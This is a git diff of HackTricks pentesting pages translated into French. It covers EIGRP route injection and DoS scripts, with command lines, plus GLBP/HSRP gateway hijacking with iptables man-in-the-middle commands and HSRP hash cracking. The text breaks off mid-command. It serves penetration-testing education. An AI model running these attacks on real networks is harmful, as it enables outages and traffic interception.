adresses attribuées par le serveur sont déjà utilisées sur le lien auquel le client est connecté. RECONFIGURE \(10\) +Un client envoie un message Decline à un serveur pour indiquer que le client a déterminé que une ou plusieurs adresses attribuées par le serveur sont déjà utilisées sur le lien auquel le client est connecté. RECONFIGURE \(10\) - Un serveur envoie un message Reconfigure à un client pour l'informer que le serveur dispose de nouveaux paramètres de configuration ou mis à jour, et que le client doit initier une transaction Renew/Reply ou Information-request/Reply avec le serveur afin de recevoir les informations mises à jour. INFORMATION-REQUEST \(11\) +Un serveur envoie un message Reconfigure à un client pour informer le client que le serveur a de nouveaux paramètres de configuration ou mis à jour, et que le client doit initier une transaction Renew/Reply ou Information-request/Reply avec le serveur pour recevoir les informations mises à jour. INFORMATION-REQUEST \(11\) - Un client envoie un message Information-request à un serveur pour demander des paramètres de configuration sans l'attribution d'adresses IP au client. RELAY-FORW \(12\) +Un client envoie un message de demande d'informations à un serveur pour demander des paramètres de configuration sans attribution d'adresses IP au client. RELAY-FORW \(12\) - Un agent de relais envoie un message Relay-forward pour relayer des messages vers des serveurs, directement ou via un autre agent de relais. Le message reçu, soit un message client, soit un message Relay-forward d'un autre agent de relais, est encapsulé dans une option dans le message Relay-forward. RELAY-REPL \(13\) +Un agent relais envoie un message Relay-forward pour relayer des messages vers des serveurs, soit directement soit par l'intermédiaire d'un autre agent relais. Le message reçu, qu'il s'agisse d'un message client ou d'un message Relay-forward d'un autre agent relais, est encapsulé dans une option dans le message Relay-forward. RELAY-REPL \(13\) - Un serveur envoie un message Relay-reply à un agent de relais contenant un message que l'agent de relais livre à un client. Le message Relay-reply peut être relayé par d'autres agents de relais pour être livré à l'agent de relais de destination. Le serveur encapsule le message client en tant qu'option dans le message Relay-reply, que l'agent de relais extrait et relaie au client. +Un serveur envoie un message Relay-reply à un agent relais contenant un message que l'agent relais transmet à un client. Le message Relay-reply peut être relayé par d'autres agents relais pour être livré à l'agent relais de destination. Le serveur encapsule le message client en tant qu'option dans le message Relay-reply, que l'agent relais extrait et transmet au client. + + + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index 4c0403f75..885d29edc 100644 --- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -2,118 +2,108 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert AWS Red Team de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-**Cette page est basée sur** [****](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Consultez-le pour plus d'informations. +**Cette page est basée sur** [****](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Consultez-la pour plus d'informations. -## Comprendre les vulnérabilités du protocole EIGRP +## Compréhension des vulnérabilités du protocole EIGRP -**EIGRP (Enhanced Interior Gateway Routing Protocol)** est identifié comme un protocole de routage dynamique à vecteur de distance. Une vulnérabilité critique est observée si l'authentification ou la configuration des interfaces passives sont négligées, conduisant à un empoisonnement potentiel des tables de routage. De plus, la structure du réseau EIGRP, ou système autonome, est non segmentée, sans aucune forme de divisions de zones. Cette structure plate implique que les routes injectées par un attaquant pourraient se propager à travers tout le système autonome. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** est identifié comme un protocole de routage dynamique de type vecteur de distance. Une vulnérabilité critique est observée si l'authentification ou la configuration des interfaces passives sont négligées, ce qui peut entraîner un empoisonnement potentiel des tables de routage. De plus, la structure du réseau EIGRP, ou du système autonome, n'est pas segmentée, ne comportant aucune forme de divisions de zone. Cette structure plate implique que les routes injectées par un attaquant pourraient se propager dans l'ensemble du système autonome. ![](../../.gitbook/assets/image (25) (1).png) -La première étape pour exploiter un système EIGRP implique d'établir une connexion avec un routeur EIGRP légitime. Cette connexion ouvre des voies allant de la reconnaissance à diverses formes d'injections. Pour faciliter cela, [**FRRouting**](https://frrouting.org/), une solution open-source, est utilisée pour émuler un routeur sur les systèmes Unix et Linux. **FRRouting** prend en charge de multiples protocoles incluant BGP, OSPF et EIGRP. Le déploiement de FRRouting sur le système d'un attaquant lui permet de mimer un routeur légitime au sein du domaine de routage. Des instructions détaillées pour déployer FRR sur votre système suivront. +La première étape pour exploiter un système EIGRP consiste à établir une connexion avec un routeur EIGRP légitime. Cette connexion ouvre la voie à diverses formes d'injections, allant de la reconnaissance à diverses formes d'injections. Pour faciliter cela, [**FRRouting**](https://frrouting.org/), une solution open-source, est utilisée pour émuler un routeur sur les systèmes Unix et Linux. **FRRouting** prend en charge plusieurs protocoles, y compris BGP, OSPF et EIGRP. Le déploiement de FRRouting sur le système d'un attaquant leur permet de simuler un routeur légitime dans le domaine de routage. Des instructions détaillées pour déployer FRR sur votre système suivront. -### Collecte de renseignements sur le réseau +### Collecte d'informations sur le réseau -L'intégration dans le domaine de routage permet l'énumération et la reconnaissance des réseaux, offrant une alternative efficace en temps à l'analyse extensive. Cette approche permet non seulement de gagner du temps, mais aussi de réduire le risque de détection par les systèmes de sécurité IPS/IDS. Pour y parvenir, le déploiement de **FRRouting** est nécessaire. +L'intégration dans le domaine de routage permet l'énumération et la reconnaissance des réseaux, offrant une alternative efficace en termes de temps aux analyses approfondies. Cette approche permet non seulement de gagner du temps, mais aussi de réduire le risque de détection par les systèmes de sécurité IPS/IDS. Pour y parvenir, le déploiement de **FRRouting** est nécessaire. -Des modifications sont requises dans le fichier de configuration `daemons`, qui contrôle les activités des daemons. L'activation du daemon **eigrpd** est nécessaire. +Des modifications sont nécessaires dans le fichier de configuration `daemons`, qui contrôle les activités des démons. L'activation du démon **eigrpd** est nécessaire. ```bash ~# nano /etc/frr/daemons eigrpd=yes ``` ![](../../.gitbook/assets/image (15) (1).png) -De plus, des ajustements au fichier **vtysh.conf** sont nécessaires pour garantir que les configurations de divers protocoles soient consolidées dans un seul fichier. +De plus, des ajustements au fichier **vtysh.conf** sont nécessaires pour garantir que les configurations de divers protocoles sont consolidées dans un seul fichier. ```bash ~# nano /etc/frr/vtysh.conf service integrated-vtysh-config ``` -Après la configuration, l'initiation du démon FRR et l'activation du routage du trafic (désactivé par défaut dans les distributions Linux) sont nécessaires. +Après la configuration, le lancement du démon FRR et l'activation du routage du trafic (désactivé par défaut dans les distributions Linux) sont nécessaires. ```bash ~$ sudo systemctl start frr ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` -```markdown ![](../../.gitbook/assets/image (32).png) -La commande **vtysh** donne accès au panneau de contrôle du routeur FRR. -``` +La commande **vtysh** fournit l'accès au panneau de contrôle du routeur FRR. ```bash ~$ sudo vtysh ``` -Utilisation exemple : +Exemple d'utilisation : ```bash root# show version ``` -```markdown -![](../../.gitbook/assets/image (3) (2) (2).png) +> Note: Le domaine de routage EIGRP peut être sécurisé avec une authentification. Cependant, un accès potentiel est toujours possible en extrayant les hachages cryptographiques des paquets hello et en réinitialisant le mot de passe. -> Remarque : Le domaine de routage EIGRP peut être sécurisé avec une authentification. Cependant, un accès potentiel est toujours possible en extrayant les hachages cryptographiques des paquets hello et en réinitialisant le mot de passe. - -Dans le mode de configuration globale, initiez le processus **EIGRP** et définissez le numéro du système autonome — **1**, ainsi que l'emplacement du réseau. -``` +Dans le mode de configuration global, initiez le processus **EIGRP** et définissez le numéro du système autonome - **1**, ainsi que l'emplacement du réseau. ```bash root# config root(config)# router eigrp 1 root(config-router) network 10.10.100.50/32 ``` -Après l'établissement de connexions de voisinage avec des routeurs EIGRP légitimes (dans ce cas, **GW1 (10.10.100.100)** et **GW2 (10.10.100.200)**), les routeurs échangent des informations de routage. Ce processus entraîne l'apparition de nouvelles routes dans la table de routage du système attaquant, aidant dans le pentesting et économisant du temps sur le balayage des sous-réseaux. À ce stade, le système fait partie du domaine de routage EIGRP et est prêt pour le développement de vecteurs d'attaque supplémentaires. +Après l'établissement des connexions de voisinage avec des routeurs EIGRP légitimes (dans ce cas, **GW1 (10.10.100.100)** et **GW2 (10.10.100.200)**), les routeurs échangent des informations de routage. Ce processus entraîne l'apparition de nouvelles routes dans la table de routage du système d'attaque, facilitant les tests de pénétration et économisant du temps sur le balayage des sous-réseaux. À ce stade, le système fait partie du domaine de routage EIGRP et est prêt pour le développement de vecteurs d'attaque supplémentaires. ![](../../.gitbook/assets/image (5) (1) (2).png) ![](../../.gitbook/assets/image (30) (1).png) ![](../../.gitbook/assets/image (29) (1) (2).png) -### Exploitation d'EIGRP : Vecteurs d'Attaque +### Exploitation d'EIGRP : Vecteurs d'attaque -#### 1. Faux Voisins EIGRP -L'envoi massif de paquets hello EIGRP peut conduire à une surcharge du CPU sur les routeurs, ouvrant la voie à des attaques DoS. Un script, **helloflooding.py**, est utilisé pour cela, bien que sa vitesse d'envoi de paquets soit limitée par le GIL (Global Interpreter Lock). Des plans pour réécrire le script en C afin d'améliorer les performances sont en cours. +#### 1. Faux voisins EIGRP +L'envoi massif de paquets hello EIGRP peut entraîner une surcharge CPU sur les routeurs, ouvrant la voie aux attaques par déni de service (DoS). Un script, **helloflooding.py**, est utilisé à cette fin, bien que sa vitesse d'envoi de paquets soit limitée par le GIL (Global Interpreter Lock). Des projets de réécriture du script en C pour des performances améliorées sont en cours. ![](../../.gitbook/assets/image (2) (6) (1).png) L'utilisation du script implique de spécifier : -- L'interface réseau (par exemple, eth0) -- Le numéro de système autonome EIGRP (par exemple, 1) -- L'emplacement du sous-réseau (par exemple, 10.10.100.0/24) +- Interface réseau (par exemple, eth0) +- Numéro de système autonome EIGRP (par exemple, 1) +- Emplacement du sous-réseau (par exemple, 10.10.100.0/24) ```bash ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 ``` -```markdown -![](../../.gitbook/assets/image (26) (1).png) - -#### 2. Attaque par trou noir EIGRP -Cette attaque consiste à injecter une fausse route pour perturber le flux de trafic, communément appelée attaque par trou noir. Le script **routeinject.py** est utilisé à cet effet. Par exemple, rediriger le trafic pour `172.16.100.140/32` vers une destination inexistante. +#### 2. EIGRP Blackhole +Cette attaque implique l'injection d'une fausse route pour perturber le flux de trafic, communément appelée attaque Blackhole. Le script **routeinject.py** est utilisé à cette fin. Par exemple, rediriger le trafic pour `172.16.100.140/32` vers une destination inexistante. ![](../../.gitbook/assets/image (16) (1).png) Les paramètres du script incluent : -- Interface système de l'attaquant +- Interface du système de l'attaquant - Numéro AS EIGRP - Adresse IP de l'attaquant - IP du sous-réseau cible et son masque -``` ```bash ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 ``` ![](../../.gitbook/assets/image (20) (1).png) -Le résultat est une perte de connectivité à l'hôte ciblé en raison de l'injection de route. +Le résultat est une perte de connectivité avec l'hôte ciblé en raison de l'injection de route. ![](../../.gitbook/assets/image (6) (1) (1).png) -#### 3. Exploitation des K-Values -Des K-values incompatibles entre les routeurs EIGRP peuvent perturber le domaine EIGRP. Le script **relationshipnightmare.py** exploite cela en injectant des K-values modifiées, provoquant des perturbations continues et des reconnexions au sein du domaine EIGRP, aboutissant effectivement à une attaque DoS. +#### 3. Abus des valeurs K +Des valeurs K incompatibles entre les routeurs EIGRP peuvent perturber le domaine EIGRP. Le script **relationshipnightmare.py** exploite cela en injectant des valeurs K modifiées, déclenchant des perturbations et reconnexions continues au sein du domaine EIGRP, aboutissant efficacement à une attaque par déni de service (DoS). ![](../../.gitbook/assets/image (12) (2) (1).png) @@ -122,35 +112,37 @@ Le script nécessite : - Numéro AS EIGRP - Adresse IP d'un routeur légitime -Les modifications injectées sont envoyées de l'IP spécifiée à l'adresse IP multicast EIGRP, causant l'incompatibilité. +Les altérations injectées sont envoyées depuis l'IP spécifiée vers l'adresse IP EIGRP multicast, provoquant la discordance. ```bash ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 ``` -#### 4. Débordement de la Table de Routage -Cette attaque inonde la table de routage avec de fausses routes, sollicitant fortement le CPU et la RAM du routeur. Le script **routingtableoverflow.py** facilite cela en envoyant rapidement de nombreuses fausses routes. +![](../../.gitbook/assets/image (9) (1) (4).png) +![](../../.gitbook/assets/image (27) (1).png) + +#### 4. Débordement de la table de routage +Cette attaque inonde la table de routage avec de fausses routes, surchargeant le processeur et la RAM du routeur. Le script **routingtableoverflow.py** facilite cela en envoyant rapidement de nombreuses fausses routes. + +![](../../.gitbook/assets/image (3) (4).png) Paramètres du script : - Interface réseau - Numéro AS EIGRP - Adresse IP de l'attaquant -Après l'exécution du script, la table de routage est saturée de routes fallacieuses, affectant gravement les performances du routeur. +Après l'exécution du script, la table de routage est saturée de fausses routes, affectant gravement les performances du routeur. ```bash sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 ``` -![](../../.gitbook/assets/image (4) (4).png) -![](../../.gitbook/assets/image (21) (1).png) -
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 862696ecb..3a6164c3d 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,61 +2,61 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
-## Vue d'ensemble du détournement FHRP +## Aperçu du détournement FHRP -### Comprendre le FHRP -Le First Hop Redundancy Protocol (FHRP) est une suite de protocoles assurant la résilience du réseau en combinant plusieurs routeurs physiques en une seule entité virtuelle. Cela améliore la distribution de charge et la tolérance aux pannes. Cisco Systems a introduit deux protocoles FHRP notables : GLBP et HSRP. +### Compréhension de FHRP +Le protocole de redondance de premier saut (FHRP) est un ensemble de protocoles garantissant la résilience du réseau en combinant plusieurs routeurs physiques en une seule entité virtuelle. Cela améliore la distribution de charge et la tolérance aux pannes. Cisco Systems a introduit deux protocoles FHRP notables : GLBP et HSRP. ### Détails du protocole GLBP -Développé par Cisco, le GLBP (Gateway Load Balancing Protocol) fonctionne au-dessus de la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs au sein d'un groupe GLBP envoient des paquets "hello" toutes les 3 secondes. L'absence de ces paquets pendant 10 secondes de la part d'un routeur indique sa défaillance. Cependant, ces paramètres de temporisation sont ajustables. +Développé par Cisco, GLBP (Gateway Load Balancing Protocol) fonctionne au-dessus de la pile TCP/IP, utilisant UDP sur le port 3222 pour la communication. Les routeurs au sein d'un groupe GLBP envoient des paquets "hello" toutes les 3 secondes. L'absence de ces paquets pendant 10 secondes d'un routeur indique sa défaillance. Cependant, ces paramètres de minuterie sont ajustables. -### Fonctionnement et équilibrage de charge GLBP -Le GLBP permet le partage de charge entre plusieurs routeurs en utilisant une seule adresse IP virtuelle et diverses adresses MAC virtuelles. Chaque routeur du groupe participe au transfert des paquets. Le GLBP se distingue du HSRP/VRRP en offrant un véritable équilibrage de charge, qui comprend : +### Fonctionnement et équilibrage de charge de GLBP +GLBP permet le partage de charge entre plusieurs routeurs en utilisant une seule adresse IP virtuelle et diverses adresses MAC virtuelles. Chaque routeur du groupe participe à la transmission des paquets. GLBP diffère de HSRP/VRRP en offrant un véritable équilibrage de charge, qui comprend : - **Dépendant de l'hôte :** Assure qu'un hôte reçoit la même adresse MAC AVF, préservant les configurations NAT. -- **Round-Robin :** Le mode par défaut où les adresses MAC AVF sont distribuées alternativement. -- **Round-Robin basé sur le poids :** Équilibre la charge en fonction d'une métrique "Poids" prédéfinie. +- **Round-Robin :** Le mode par défaut où les adresses MAC AVF sont distribuées de manière alternative. +- **Round-Robin basé sur le poids :** Équilibre la charge en fonction d'une métrique de "Poids" prédéfinie. -### Rôles et terminologie du domaine GLBP -- **AVG (Active Virtual Gateway) :** Le routeur principal, distribuant les adresses MAC aux autres routeurs. -- **AVF (Active Virtual Forwarder) :** Un routeur gérant le trafic réseau. +### Rôles de domaine et terminologie GLBP +- **AVG (Passerelle virtuelle active) :** Le routeur principal, distribuant des adresses MAC aux autres routeurs. +- **AVF (Transmetteur virtuel actif) :** Un routeur gérant le trafic réseau. - **Priorité GLBP :** Décide de l'AVG, avec une valeur par défaut de 100 et une plage de 1 à 255. -- **Poids GLBP :** Indique le niveau de charge du routeur, ajustable manuellement ou via le suivi d'objet. -- **Adresse IP virtuelle GLBP :** Sert de passerelle par défaut pour les appareils connectés. +- **Poids GLBP :** Indique le niveau de charge du routeur, ajustable manuellement ou via le suivi d'objets. +- **Adresse IP virtuelle GLBP :** Agit comme passerelle par défaut pour les appareils connectés. -Pour la communication, le GLBP utilise l'adresse multicast réservée 224.0.0.102 et le port UDP 3222. Les paquets "hello" sont envoyés toutes les 3 secondes, et les routeurs sont marqués comme "morts" si un paquet n'est pas reçu dans les 10 secondes. +Pour la communication, GLBP utilise l'adresse multicast réservée 224.0.0.102 et le port UDP 3222. Des paquets "hello" sont envoyés toutes les 3 secondes, et les routeurs sont marqués comme "morts" si un paquet n'est pas reçu dans les 10 secondes. ### Mécanisme d'attaque GLBP -Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut conduire à des attaques de DoS ou MITM, permettant l'interception ou la redirection du trafic. +Un attaquant peut devenir le routeur principal en envoyant un paquet GLBP avec la valeur de priorité la plus élevée (255). Cela peut entraîner des attaques de déni de service ou de l'homme du milieu, permettant l'interception ou la redirection du trafic. ### Exécution d'une attaque GLBP avec Loki -[Loki](https://github.com/raizo62/loki_on_kali) peut réaliser une attaque GLBP en injectant un paquet avec la priorité et le poids définis sur 255. Les étapes préalables à l'attaque impliquent de recueillir des informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité des routeurs à l'aide d'outils comme Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali) peut effectuer une attaque GLBP en injectant un paquet avec une priorité et un poids définis à 255. Les étapes préalables à l'attaque consistent à recueillir des informations telles que l'adresse IP virtuelle, la présence d'authentification et les valeurs de priorité du routeur à l'aide d'outils comme Wireshark. Étapes de l'attaque : -1. Passer en mode promiscuous et activer l'IP forwarding. -2. Identifier le routeur cible et récupérer son IP. -3. Générer un ARP Gratuit. -4. Injecter un paquet GLBP malveillant, se faisant passer pour l'AVG. -5. Assigner une adresse IP secondaire à l'interface réseau de l'attaquant, reflétant l'adresse IP virtuelle GLBP. -6. Mettre en place un SNAT pour une visibilité complète du trafic. -7. Ajuster le routage pour assurer la continuité de l'accès à Internet via le routeur AVG original. +1. Passer en mode promiscuité et activer le transfert IP. +2. Identifier le routeur cible et récupérer son adresse IP. +3. Générer une ARP gratuit. +4. Injecter un paquet GLBP malveillant, en se faisant passer pour l'AVG. +5. Attribuer une adresse IP secondaire à l'interface réseau de l'attaquant, en reflétant l'adresse IP virtuelle GLBP. +6. Mettre en œuvre SNAT pour une visibilité totale du trafic. +7. Ajuster le routage pour garantir un accès continu à Internet via le routeur AVG d'origine. -En suivant ces étapes, l'attaquant se positionne comme un "homme au milieu", capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles. +En suivant ces étapes, l'attaquant se positionne en tant qu'homme du milieu, capable d'intercepter et d'analyser le trafic réseau, y compris les données non chiffrées ou sensibles. -Pour démonstration, voici les extraits de commande requis : +Pour la démonstration, voici les extraits de commandes requis: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -70,80 +70,60 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -Surveillance et interception du trafic peuvent être réalisées en utilisant net-creds.py ou des outils similaires pour capturer et analyser les données circulant à travers le réseau compromis. - ### Explication passive du détournement de HSRP avec détails des commandes -#### Vue d'ensemble de HSRP (Hot Standby Router/Redundancy Protocol) -HSRP est un protocole propriétaire de Cisco conçu pour la redondance de passerelle réseau. Il permet la configuration de plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de la direction du trafic. Contrairement à GLBP, qui utilise des métriques telles que la priorité et le poids pour l'équilibrage de charge, HSRP s'appuie sur un seul routeur actif pour la gestion du trafic. +#### Aperçu de HSRP (Protocole de redondance/de routeur en veille active) +HSRP est un protocole propriétaire de Cisco conçu pour la redondance de passerelle réseau. Il permet la configuration de plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de la direction du trafic. Contrairement à GLBP, qui utilise des métriques comme la priorité et le poids pour l'équilibrage de charge, HSRP repose sur un seul routeur actif pour la gestion du trafic. -#### Rôles et terminologie dans HSRP -- **Routeur actif HSRP** : L'appareil agissant comme passerelle, gérant le flux de trafic. -- **Routeur de secours HSRP** : Un routeur de sauvegarde, prêt à prendre le relais si le routeur actif échoue. -- **Groupe HSRP** : Un ensemble de routeurs collaborant pour former un seul routeur virtuel résilient. -- **Adresse MAC HSRP** : Une adresse MAC virtuelle attribuée au routeur logique dans la configuration HSRP. -- **Adresse IP virtuelle HSRP** : L'adresse IP virtuelle du groupe HSRP, agissant comme passerelle par défaut pour les appareils connectés. +#### Rôles et terminologie en HSRP +- **Routeur actif HSRP**: Le dispositif agissant en tant que passerelle, gérant le flux de trafic. +- **Routeur en veille HSRP**: Un routeur de secours, prêt à prendre le relais si le routeur actif échoue. +- **Groupe HSRP**: Un ensemble de routeurs collaborant pour former un seul routeur virtuel résilient. +- **Adresse MAC HSRP**: Une adresse MAC virtuelle attribuée au routeur logique dans la configuration HSRP. +- **Adresse IP virtuelle HSRP**: L'adresse IP virtuelle du groupe HSRP, agissant en tant que passerelle par défaut pour les appareils connectés. #### Versions de HSRP -HSRP existe en deux versions, HSRPv1 et HSRPv2, se différenciant principalement par la capacité du groupe, l'utilisation d'IP multicast et la structure de l'adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l'échange d'informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est présumé inactif si aucun paquet n'est reçu dans un intervalle de 10 secondes. +HSRP existe en deux versions, HSRPv1 et HSRPv2, différant principalement en capacité de groupe, utilisation d'IP multicast et structure d'adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l'échange d'informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est considéré comme inactif s'il ne reçoit aucun paquet dans un intervalle de 10 secondes. #### Mécanisme d'attaque HSRP -Les attaques HSRP impliquent de prendre de force le rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut conduire à une attaque de type Man-In-The-Middle (MITM). Les étapes préalables essentielles à l'attaque comprennent la collecte de données sur la configuration HSRP, qui peut être réalisée en utilisant Wireshark pour l'analyse du trafic. +Les attaques HSRP impliquent de prendre de force le rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut entraîner une attaque de l'homme du milieu (MITM). Les étapes essentielles préalables à l'attaque incluent la collecte de données sur la configuration HSRP, ce qui peut être fait en utilisant Wireshark pour l'analyse du trafic. #### Étapes pour contourner l'authentification HSRP -1. Sauvegardez le trafic réseau contenant les données HSRP dans un fichier .pcap. +1. Enregistrer le trafic réseau contenant des données HSRP dans un fichier .pcap. ```shell tcpdump -w hsrp_traffic.pcap ``` -2. Extrayez les hachages MD5 du fichier .pcap en utilisant hsrp2john.py. +2. Extraire les hachages MD5 du fichier .pcap en utilisant hsrp2john.py. ```shell python2 